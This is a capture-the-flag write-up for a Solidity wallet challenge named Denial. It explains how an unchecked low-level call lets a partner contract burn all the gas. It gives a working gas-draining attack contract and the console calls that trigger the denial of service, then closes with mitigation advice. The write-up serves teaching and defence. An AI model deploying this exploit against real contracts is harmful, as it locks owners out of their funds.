# Denial

## Description

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call `withdraw()` (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

The objective is to perform DoS attack on this contract. The essence of this contract is the `withdraw()` function:

```solidity
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
    uint amountToSend = address(this).balance / 100;
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    payable(owner).transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = block.timestamp;
    withdrawPartnerBalances[partner] +=  amountToSend;
}
```

Here two things can lead to DoS:

1. `partner.call{value:amountToSend}("")` will revert if all the gas is drained.
2. `payable(owner).transfer(amountToSend)` will revert if gas used exceeds 2300. This is because `transfer` has 2300 gas limit.

The contract provides `setWithdrawPartner()` function that let us set the address of `partner`. Since we have control over `partner`, not `owner`, we are going to use option 1 to conduct DoS attack.

The easiest way of draining all gas is writing an infinite loop in `receive()`.

## Solution

**Step 1:** Deploy the exp contract in Remix:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialHack {

    uint256 public dummy;

    receive() external payable {
        for (uint256 i; i < type(uint256).max; ++i){
            dummy++;
        }
    }
}
```

**Step 2:** In Chrome console, call `setWithdrawPartner()`:

```javascript
await contract.setWithdrawPartner('<your_exp_contract_address>');
```

**Step 3:** Call `withdraw()`:

```javascript
await contract.withdraw()
```

This should trigger an "out of gas" error.

## Summary

This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

If you are using a low level `call` to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example `call.gas(100000).value()`.

Typically one should follow the [checks-effects-interactions](http://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern) pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

*Note*: An external `CALL` can use at most 63/64 of the gas currently available at the time of the `CALL`. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.
